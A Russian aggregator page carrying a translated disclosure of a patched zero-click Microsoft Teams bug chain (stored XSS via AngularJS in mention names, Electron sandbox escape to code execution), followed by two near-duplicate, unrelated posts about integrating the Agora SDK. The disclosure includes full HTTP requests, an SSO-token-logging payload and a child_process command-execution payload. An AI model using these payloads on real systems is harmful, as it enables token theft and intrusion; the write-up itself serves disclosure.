Русский
Русский
English
Статистика
Реклама

Видеоконференцсвязь

Перевод Мы нашли опасную уязвимость в Microsoft Teams, но компания устранила её только спустя два месяца

10.12.2020 10:23:48 | Автор: admin

TL;DR:

  • 31 августа 2020 года мы сообщили о критически опасных багах исполнения удалённого кода в Microsoft Teams.
  • 30 сентября 2020 года Microsoft присвоила им рейтинг Important, Spoofing (Важно, спуфинг) один из наиболее низких.
  • В нашей команде мгновенно родилась новая шутка.
  • Microsoft отказалась подробно обсуждать воздействие этих багов, окончательное решение принято 19 ноября 2020 года
  • Что касается CVE, в настоящее время политика Microsoft заключается в том, чтобы не публиковать CVE продуктов, автоматически обновляемых без действий пользователя, 30 ноября 2020 года
  • Баги устранены к концу октября 2020 года

Рейтинг Microsoft Security Response Center Important, Spoofing


Microsoft приняла эту цепочку багов в баунти-программу облачных багов O365 как Important (уровень серьёзности), Spoofing (воздействие). Это один из самых низких рейтингов.

По крайней мере, теперь в нашем коллективе появилась новая шутка когда мы находим баг исполнения удалённого кода (remote code execution, RCE), мы называем его Important, Spoofing. Спасибо, Microsoft!

Если быть полностью честными, то для десктопного приложения был присвоен отдельный рейтинг Critical, Remote Code Execution, но только за очки Microsoft! Очки Microsoft позволяют вам попасть в таблицу лидеров MSRC.

В этой статье мы расскажем об одном из пяти переданных в MSRC цепочек багов исполнения удалённого кода Microsoft Teams, требующих одного нажатия или не требующих нажатий вообще (Important, Spoofing).

Благодарим Оскарса Вегериса.

Воздействие бага исполнение удалённого кода, не требующее действий пользователя


  • Нападающий отправляет или редактирует уже имеющееся сообщение, которое выглядит для жертвы совершенно обычным.
  • Жертва исполняет код, просто просмотрев сообщение.

Вот и всё. Со стороны жертвы больше не требуется никакого вмешательства. Теперь внутренняя сеть вашей компании, личные документы, документы/почта/заметки O365, секретные чаты полностью скомпрометированы. Подумайте об этом. Одно сообщение, один канал, никакого взаимодействия. Все подвергаются эксплойту.

Объясним немного подробнее. Что если получатели затем автоматически опубликуют это сообщение в своих командах и каналах? Эксплойт распространяется на всех. Вы знали, что можете быть гостем в других организациях? Вероятно, в вашей организации есть несколько гостей. С большой вероятностью они находятся в собственных организациях, и эти организации, вероятно, имеют собственных гостей, у которых есть свои организации, которые Да, этот баг можно превратить в червя, распространяемого по сети Microsoft Teams, по крайней мере, в пределах организации.

Демонстрация бага довольно скучна достаточно просто единственного неинтерактивного HTTP-запроса.


Получив рейтинг Important, Spoofing, в качестве аргументации для сотрудников MSRC я отправил список пунктов, которые посчитал реальным воздействием бага. Обсуждение было почти несущественным, они просто перетасовывали рейтинги. На каждый ответ требовались недели, и каждый раз мне приходилось напоминать о себе.

Примерно спустя три месяца мы пришли к следующему: к рейтингу Important, Spoofing и к тому, что десктопный клиент (исполнение удалённого кода) находится вне области воздействия (out of scope).

Конечно, Microsoft может вывести из области воздействия бага десктопное приложение, что, по моему мнению, абсурдно, поскольку оно рекламируется как основной способ работы с Microsoft Teams но почему это всего лишь Важно и что такое спуфинг?

Important, Spoofing по пунктам


  • Атака Stored XSS, не требующая вмешательства пользователя. Влияет на все типы потоков сообщений приватные, потоки, группы и т.д.
  • Самовоспроизводящийся червь жертва репостит полезную нагрузку всем контактам и группам. Все репостят своим контактам, группам (гости тоже имеют доступ к организациям, а также доступ к собственным организациям, и т.д.)
  • Кража токенов SSO для всех пользователей организации из XSS, например, при захвате аккаунта, вы получаете доступ ко всем токенам SSO Office 365, то есть доступ ко всей почте, документам, заметкам компании всему, что есть в O365
  • Доступ к частным перепискам, сообщениям, файлам, логам вызовов и всему остальному, что есть в MS Teams
  • Повышение полномочий до уровня организации MS Teams Admin
  • Доступ к микрофону/камере с помощью XSS (насколько я знаю, по крайней мере, в веб-версиях для Chrome)
  • Кроссплатформенное (macOS, Windows, Linux) исполнение произвольных команд на устройствах жертвы, не требующее участия жертвы
  • Полная утеря конфиденциальности и неприкосновенности для конечных пользователей доступ к приватным чатам, файлам, внутренней сети, приватным ключам и личным данным вне MS Teams
  • Кейлоггинг, доступ к микрофону, камере и т.д.

Вы когда-нибудь задавались вопросом, как MS Teams способна беспроблемно получать доступ ко всему в вашем O365? Нападающие таким вопросом не задаются они делают это так же, как это делает Teams.

Что вошло в отчёт


  • Обход защиты от инъекций выражений AngularJS
  • Выход из песочницы AngularJS для исполнения произвольного кода JS
  • Обход CSP (с помощью AngularJS)
  • Злоумышленное использование API Microsoft Teams для скачивания и исполнения файла с целью реализации RCE
  • Дополнительная универсальная полезная нагрузка Electron [вырезано] для RCE, которая включена во вложения к отчёту в формате видео/медиа
  • Обе полезные нагрузки RCE позволяют обойти защиту приложений Electron, специфичную для Microsoft Teams, однако, вероятно, их можно универсально адаптировать к более старым версиям ElectronJS с похожими защитными ограничениями.

Защита ElectronJS в MS Teams: remote-require отключено и фильтруется, nodeIntegration равно false, создание webview фильтруется и в обычном состоянии удаляет небезопасные параметры/опции. Невозможно просто импортировать child_process и исполнить произвольный код или создать webview с собственной опцией preload.

Демо и RCE


Полезная нагрузка [вырезано], невидимая для жертвы (новое окно не открывается)



Ну да, инъецируемая шаблонная строка видна на долю секунды, но в обычной ситуации пользователь её не увидит. Об этом свидетельствует следующее демо и все остальные шаблонные строки AngularJS, которые вы не видите в Teams. Я связываю этот глитч с HTTP-прокси, общей медленностью приложения, живой перезагрузкой и тем, что это демо, а значит, оно просто обязано иметь ошибки :)

// по требованию Microsoft полезная нагрузка RCE, не создающая новых окон, засекречена примерно до 2021 года

Полезная нагрузка с новым окном



Пустое окно может содержать произвольный контент, иметь любой размер и внешний вид сейчас оно подозрительно пустое, потому что это проверка концепции.

Исходный файл MOV находится здесь.

Никакого вмешательства пользователя не требуется, эксплойт исполняется при просмотре сообщения чата. Этот эксплойт обходит ограничения webview и злонамеренно использует API MS Teams для скачивания файла и применения его в качестве preload (контекст nodeJS) для webview. Teams фильтрует создание webview, отфильтровывая preload и другие опасные опции, но при таком способе проверку можно обойти. Вероятно, такой же подход можно использовать в более старых приложениях ElectronJS.

cmd = `open /System/Applications/Calculator.app` // change to windows/linux command as requiredstage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to downloadthis.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file// implement an event handler when files downloaded to trigger payloadthis.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => {         f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand                // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload        stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL        this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window    })

Ниже показан исходный отчёт о баге, переданный в MSRC


Сводка


В десктопном приложении MS Teams была обнаружена уязвимость Remote Code Execution, которую можно запустить новой инъекцией XSS (Cross-Site Scripting) в teams.microsoft.com. Любому участнику или каналу Microsoft Teams можно отправить специально изготовленное сообщение чата, которое исполнит произвольный код на компьютере пользователя БЕЗ ЕГО УЧАСТИЯ.

Удалось реализовать Remote Code Execution в десктопных приложениях на всех поддерживаемых платформах (Windows, macOS, Linux). Исполнение кода предоставляет нападающим полный доступ к устройствам жертвы, а через эти устройства и к внутренним сетям компании.

Даже без исполнения произвольного кода в устройстве пользователя при помощи продемонстрированного XSS нападающий может получить токены авторизации SSO для Microsoft Teams и других сервисов Microsoft (например, Skype, Outlook, Office365). Более того, уязвимость к XSS сама по себе позволяет обеспечить доступ к конфиденциальным/приватным перепискам, файлам и т.д. из MS Teams.

Такие атаки могут выполняться гостевыми пользователями совершенно незаметно, без каких-либо действий пользователя или признаков компрометации.

Продукты, подверженные воздействию этого бага:

  • Microsoft Teams (teams.microsoft.com) Cross-Site Scripting
  • Microsoft Teams macOS v 1.3.00.23764 (последняя на 31.08.2020 версия)
  • Microsoft Teams Windows v 1.3.00.21759 (последняя на 31.08.2020 версия)
  • Microsoft Teams Linux v 1.3.00.16851 (последняя на 31.08.2020 версия)

Воздействие


  • Распространение по типу червя (wormable) возможность автоматического репоста полезной нагрузки эксплойта в другие компании, каналы и пользователям без действий с их стороны
  • Исполнение произвольных команд в устройствах жертвы без действий со стороны жертвы
  • Полная утеря конфиденциальности и неприкосновенности для конечных пользователей доступ к приватным чатам, файлам, внутренней сети, приватным ключам и личным данным вне MS Teams
  • Доступ к токенам SSO, а значит, и к другим сервисам Microsoft (Outlook, Office365 и т.д.)
  • Возможные фишинг-атаки перенаправлением на сайт нападающих или запросом ввода учётных данных SSO
  • Кейлоггинг при помощи специально созданной полезной нагрузки

Описание


Данный отчёт содержит новый вектор XSS и новую полезную нагрузку RCE, которые используются совместно. Они влияют на систему чатов в Microsoft Teams и могут использоваться, например, в личных сообщениях и каналах.

Для реализации RCE в Microsoft Teams используется цепочка из двух уязвимостей:

  • Stored XSS в чате teams.microsoft.com в функции упоминания пользователя
  • Новый кроссплатформенный специально созданный JS-эксплойт для десктопных клиентов MS Teams

Stored XSS в teams.microsoft.com


Как воспроизвести


  1. Ввести сообщение чата в личном общении или в канале, упомянув пользователя или тэг этого чата
  2. Отредактировать сообщение чата, содержащее упоминание, и выполнить перехват при помощи HTTP-прокси наподобие Burp Suite

В функции упоминаний уязвимым параметром является displayName в структуре JSON сообщения { content: "...", properties: { "mentions" : "[{ displayName: PAYLOAD HERE }]".

Запрос должен выглядеть примерно так, обратите внимание на displayName:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1Host: emea.ng.msg.teams.microsoft.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0Accept: jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonAuthentication: skypetoken=...snip...ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00BehaviorOverride: redirectAs404Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot\"}]"}}

Фильтрацию выражений Angular можно обойти инъекцией символа нулевого байта в Unicode \u0000, например:

{{3*333}\u0000}

Для получения доступа пользователя к локальному хранилищу и всем токенам SSO использовать эту полезную нагрузку в displayName из приведённого выше HTTP-запроса PUT.

{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

Полный HTTP-запрос для логгинга токена SSO:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1Host: emea.ng.msg.teams.microsoft.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0Accept: jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonAuthentication: skypetoken=...snip...ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00BehaviorOverride: redirectAs404Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

Этот запрос выполнит логгинг локального хранилища пользователя как доказательство концепции XSS.

Никаких других действий не требуется. Все пользователи в чате начнут выполнять логгинг своих токенов SSO, которые можно извлечь.

Можно проверить это, изучив инструменты разработчика или в десктопной версии Microsoft Teams, или в любом браузере.

Исполнение удалённого кода и полезная нагрузка


Была разработана новая полезная нагрузка исполнения удалённого кода, обходящая все ограничения, реализованные на данный момент (remote require, node integration, фильтрация webview preload и т.д.) в десктопной версии Microsoft Teams. Она должна работать, даже при включении contextIsolation.

cmd = `open /Applications/Calculator.app` // change to windows/linux command as requiredstage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to downloadthis.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file// implement an event handler when files downloaded to trigger payloadthis.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => {         f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand                // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload        stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL        this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window    })

Укороченная версия для HTTP-запроса PUT; улучшена тем, что исполняется только один раз на reload:

{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

Полный HTTP-запрос с полезной нагрузкой RCE:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1Host: emea.ng.msg.teams.microsoft.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0Accept: jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonAuthentication: ...snip...ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00BehaviorOverride: redirectAs404Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

Примечание: следует изменить команду, в коде указана команда для macOS Catalina open /System/Applications/Calculator.app.

Действий пользователя не требуется, простое посещение чата приведёт к исполнению произвольного кода.

Вспомогательные материалы/ссылки:


[1] Видеодемо, скриншоты

[2] https://www.electronjs.org/docs/tutorial/security

Информация SSO / cookie


Список идентификаторов токенов SSO в localStorage и параметры cookie, доступные из JavaScript в Microsoft Teams


Токены SSO:

adal.nonce.idtokents.09ccd856-c12e-4228-acf6-a19af826be77.auth.skype.tokents.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.4580fd1d-e5a3-4f56-9ad1-aab0e3bf8f76ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.cf53fce8-def6-4aeb-8d30-b158e7b1cf83ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://*.microsoftstream.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://api.spaces.skype.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://chatsvcagg.teams.microsoft.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://emea.presence.teams.microsoft.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://forms.office.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://loki.delve.office.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://management.core.windows.net/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://onenote.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.com/connectorsts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://presence.teams.microsoft.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://service.powerapps.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://teams.microsoft.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://uis.teams.microsoft.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://web.microsoftstream.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://whiteboard.microsoft.com

Потенциально уязвимые cookies, доступные из JavaScript:

sessionIdTSAUTHCOOKIESSOAUTHCOOKIE




На правах рекламы


Эпичные серверы это VPS для любых задач. Вы можете создать собственный тарифный план, максимальная конфигурация 128 ядер CPU, 512 ГБ RAM, 4000 ГБ NVMe!

Подробнее..

Как мы интрегрировали Agora SDK в проект

11.06.2021 18:10:18 | Автор: admin

Всем привет. Меня зовут Дмитрий, и я типичный представитель касты гребцов на галере X. Основной ЯП, который я использую - PHP, но иногда приходится писать на других.

Предыстория

Как-то пришел очередной, немного не доделанный, проект "убийца" продукта Y. Все бы ничего, если бы его не делали изначально индусы. Первоначальный анализ кода и все оценкой фич занимался другой разработчик. В итоге было решено взять наследие индусов, немного подправить и в прод.

Немного подправить и в продакшн, растянулось где-то на пол года. Все уже к этому времени поняли что лучше бы выбрали вариант - переписать заново, но было уже поздно, а отступать назад не хотелось. В итоге проект выехал live, но был чертовски страшный и неудобный со стороны UI/UX. Поэтому начался плавный редизайн всего и вся. Все что описано выше, было до меня, я пришел на проект только через пол года.

Постановка задачи и начальные условия

Новый спринт, новые тикеты. Одна из задач звучит как: "Редизайн текущего механизма видео/аудио звонков". Для данного функционала мы использовали Agora Web SDK 3.4.0v. Почему именно Agora - потому что ее выбрали индусы (скорее всего из-за 10000 бесплатных минут). Возможно еще подкупило то что есть SDK под различные платформы:

Поехали

Первый делом я глянул последнюю версию Web SDK. Как оказалось - уже вышла абсолютно новая мажорная версия Agora Web SDK 4.x. Ну, если мы все равно полностью редизайним - то почему бы и не взять новую версию и использовать ее. Все равно будет полный прогон со стороны QA, в добавок - поменялся сам флоу созвона. Сказано - сделано, только насторожила запись:

Вроде разговор идет только про несовместимость Web SDK (у нас еще используется React Native SDK для мобильных устройств), но осадок остался.

На новый дизайн и сервер ушло где-то 3 - 4 дня (не люблю верстать, но что поделать). Настало время самого интересного - запуск процесса интервью. В итоге была взята Agora Web SDK 4.4.0. В течение следующего дня получилось сделать всю JS часть для созвона по видео и ауди (со всеми плюшками). За основу был взят пример из их же гитхаба: https://github.com/AgoraIO/API-Examples-Web/blob/main/Demo/basicVideoCall/basicVideoCall.js (если что, то в архиве с самой либой лежат похожие примеры интеграции)

Еще через день все было уже на testing энвайронменте. Первые пол дня тестов прошли хорошо, на web портале все более-менее работало. Настало время проверки звонков с разных платформ (один человек с мобильного девайса - второй с сайта).

Первый звоночек

При звонке с мобилы на web, и наоборот - звонок не устанавливается. Проверили на проде тот же кейс - все огонь. Значит что-то пошло не так. Так как код на мобильных девайсах не менялся вообще (на их стороне изначально подумали над дизайном и все продумали) - значит проблема на моей стороне. Первое действие - нужно подписаться на все события от SDK что доступны - https://docs.agora.io/en/Voice/API%20Reference/web_ng/interfaces/iagorartcclient.html и смотреть что, где всплывает. Каково же было мое удивление, когда я увидел пустоту в консоле хромиума. Да это же не может быть, что бы Agora Web SDK 4.4.0 была не совместима с Agora React Native API 3.х!

После многих попыток, хоть как-то это дело завести - пришло "Принятие". Что поделать, придется брать все же Agora Web SDK 3.x.

Новый день начинается со скачивания последней версии (в рамках 3.x) и переделкой существующего функционала под другой SDK. К счастью, дело пошло быстро и за первую половину дня - все было готово. На локальной машине все работало отлично. Решил протестировать с коллегой по офису (он должен открыть ветку с прода и попробовать созвонится). И хоп, мы получаем ту же проблему - звонок не устанавливается, но что обнадеживает - в консоле проскакивают логи, что оппонент по звонку выходит из румы (в терминах агоры - это channel). Ну хоть какой прогресс, по сравнению с 4.x.

После первых двух часов дебага - было решено взять код с прода и попробовать его запустить. К черту текущее решение, просто берем код с прода, вcтавляем в HTML, пробрасываем пару конфигов и запускаем. О чудо, все работает. Все друг друга видят и слышат. Первая хорошая новость за день. Значит минорные версии 3.x совместимы между собой (это вселяет надежду с мобилами). Быстро подчищаем код с HTML и переносим его в JS модули. Запускаем и получаем дырку от бублика. Да что ж за день то сегодня такой. Откатываемся назад на вариант с кодом в HTML - работает. Ладно, теперь это уже личное...

Переносим "строчку за строчкой" из HTML в JS модули и почти каждый раз проверяем локально и с коллегой. Хм... Почему же оно все еще работает? Когда была перенесена последняя строчка, я очень удивился. Код был почти один-в-один как после миграции на 3.x, который я получил пол дня назад и он РАБОТАЛ. А давай-ка я попробую запустить старый свой вариант на 3.x. Оп-па не работает. Истина где-то рядом. Как хорошо что есть гит и можно сравнить. Отбросив различия в кодстайле я был очень удивлен увиденным:

Да не может же быть, что бы я так лоханулся. Быстро открываем документацию по либе (uid используется для подключения к руме). Нас интересует метод join:

Все! Я больше не могу. Поеду я домой, рабочий день уже давно закончен.

Второй звоночек

Новый день - новые силы. Как оказалось - на проде используется number, потому что со стороны мобил (с их слов) было жесткое требование на int и ничего более. Успокаиваемся и работаем... Проверяем локально, потом с коллегой, все хорошо - едем на testing. Проверяем web - хорошо, мобилы - черный экран у того кто остался на вебе, но звук работает отлично. Хоть какой прогресс...

После пары часы дебага и проверки различный гипотез, я был готов сдаться, но здесь произошло чудо. Разраб со стороны мобил говорит что у него все работает. После того, как мы созвонились, через один из мессенджеров, и расшарили экран - я действительно убедился, все условия соблюдены и оно действительно работает. Начали искать отличия. Мы с коллегой в офисе. QA на уделенке дома. Разработчик мобильной версии в Латвии. Просим QA пере-проверить кейс со звонком на разных платформа, только пусть звонит на мне в офис, а кому-то вне офиса. О-да, работает... Мы где-то близко...

Услышав наши "горячие" споры в комнате офиса, глава департамента встает и говорит: "Парни, а вы используете STUN / TURN сервера?". Такие слова я слышал впервые, поэтому пришлось гуглить: https://medium.com/nuances-of-programming/webrtc-%D1%84%D1%80%D0%B5%D0%B9%D0%BC%D0%B2%D0%BE%D1%80%D0%BA-ice-stun-%D0%B8-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%B0-turn-f835b11d9dde

В общем, все сошлись на том что для текущей версии проекта - никто не будет пока подключать STUN / TURN сервера (ибо если бесплатные STUN еще можно найти, то бесплатных TURN нет).

Почему не догадались, что из-за NAT в офисе - ловим проблемы? Да потому что звук работал. И видео на одной стороне работало отлично. А как раз черный экран в видео мы уже получали, когда ловили кейсы, где один клиент инициировал созвон по связке rtc/vp8, а второй live/h264.

Вот так и закончилось мое увлекательное приключение в мир WebRTC.

PS. Если кто-то меня попросит еще раз сделать звонки на проекта - я первым делом пойду искать другую библиотеку.

Подробнее..

История одной интеграции Agora SDK

11.06.2021 20:19:02 | Автор: admin

Всем привет. Меня зовут Дмитрий, и я типичный представитель касты гребцов на галере X. Основной ЯП, который я использую - PHP, но иногда приходится писать на других.

Предыстория

Как-то пришел очередной, немного не доделанный, проект "убийца" продукта Y. Все бы ничего, если бы его не делали изначально индусы. Первоначальный анализ кода и все оценкой фич занимался другой разработчик. В итоге было решено взять наследие индусов, немного подправить и в прод.

Немного подправить и в продакшн, растянулось где-то на пол года. Все уже к этому времени поняли что лучше бы выбрали вариант - переписать заново, но было уже поздно, а отступать назад не хотелось. В итоге проект выехал live, но был чертовски страшный и неудобный со стороны UI/UX. Поэтому начался плавный редизайн всего и вся. Все что описано выше, было до меня, я пришел на проект только через пол года.

Постановка задачи и начальные условия

Новый спринт, новые тикеты. Одна из задач звучит как: "Редизайн текущего механизма видео/аудио звонков". Для данного функционала мы использовали Agora Web SDK 3.4.0v. Почему именно Agora - потому что ее выбрали индусы (скорее всего из-за 10000 бесплатных минут). Возможно еще подкупило то что есть SDK под различные платформы:

Поехали

Первый делом я глянул последнюю версию Web SDK. Как оказалось - уже вышла абсолютно новая мажорная версия Agora Web SDK 4.x. Ну, если мы все равно полностью редизайним - то почему бы и не взять новую версию и использовать ее. Все равно будет полный прогон со стороны QA, в добавок - поменялся сам флоу созвона. Сказано - сделано, только насторожила запись:

Вроде разговор идет только про несовместимость Web SDK (у нас еще используется React Native SDK для мобильных устройств), но осадок остался.

На новый дизайн и сервер ушло где-то 3 - 4 дня (не люблю верстать, но что поделать). Настало время самого интересного - запуск процесса интервью. В итоге была взята Agora Web SDK 4.4.0. В течение следующего дня получилось сделать всю JS часть для созвона по видео и ауди (со всеми плюшками). За основу был взят пример из их же гитхаба: https://github.com/AgoraIO/API-Examples-Web/blob/main/Demo/basicVideoCall/basicVideoCall.js (если что, то в архиве с самой либой лежат похожие примеры интеграции)

Еще через день все было уже на testing энвайронменте. Первые пол дня тестов прошли хорошо, на web портале все более-менее работало. Настало время проверки звонков с разных платформ (один человек с мобильного девайса - второй с сайта).

Первый звоночек

При звонке с мобилы на web, и наоборот - звонок не устанавливается. Проверили на проде тот же кейс - все огонь. Значит что-то пошло не так. Так как код на мобильных девайсах не менялся вообще (на их стороне изначально подумали над дизайном и все продумали) - значит проблема на моей стороне. Первое действие - нужно подписаться на все события от SDK что доступны - https://docs.agora.io/en/Voice/API%20Reference/web_ng/interfaces/iagorartcclient.html и смотреть что, где всплывает. Каково же было мое удивление, когда я увидел пустоту в консоле хромиума. Да это же не может быть, что бы Agora Web SDK 4.4.0 была не совместима с Agora React Native API 3.х!

После многих попыток, хоть как-то это дело завести - пришло "Принятие". Что поделать, придется брать все же Agora Web SDK 3.x.

Новый день начинается со скачивания последней версии (в рамках 3.x) и переделкой существующего функционала под другой SDK. К счастью, дело пошло быстро и за первую половину дня - все было готово. На локальной машине все работало отлично. Решил протестировать с коллегой по офису (он должен открыть ветку с прода и попробовать созвонится). И хоп, мы получаем ту же проблему - звонок не устанавливается, но что обнадеживает - в консоле проскакивают логи, что оппонент по звонку выходит из румы (в терминах агоры - это channel). Ну хоть какой прогресс, по сравнению с 4.x.

После первых двух часов дебага - было решено взять код с прода и попробовать его запустить. К черту текущее решение, просто берем код с прода, вcтавляем в HTML, пробрасываем пару конфигов и запускаем. О чудо, все работает. Все друг друга видят и слышат. Первая хорошая новость за день. Значит минорные версии 3.x совместимы между собой (это вселяет надежду с мобилами). Быстро подчищаем код с HTML и переносим его в JS модули. Запускаем и получаем дырку от бублика. Да что ж за день то сегодня такой. Откатываемся назад на вариант с кодом в HTML - работает. Ладно, теперь это уже личное...

Переносим "строчку за строчкой" из HTML в JS модули и почти каждый раз проверяем локально и с коллегой. Хм... Почему же оно все еще работает? Когда была перенесена последняя строчка, я очень удивился. Код был почти один-в-один как после миграции на 3.x, который я получил пол дня назад и он РАБОТАЛ. А давай-ка я попробую запустить старый свой вариант на 3.x. Оп-па не работает. Истина где-то рядом. Как хорошо что есть гит и можно сравнить. Отбросив различия в кодстайле я был очень удивлен увиденным:

Да не может же быть, что бы я так лоханулся. Быстро открываем документацию по либе (uid используется для подключения к руме). Нас интересует метод join:

Все! Я больше не могу. Поеду я домой, рабочий день уже давно закончен.

Второй звоночек

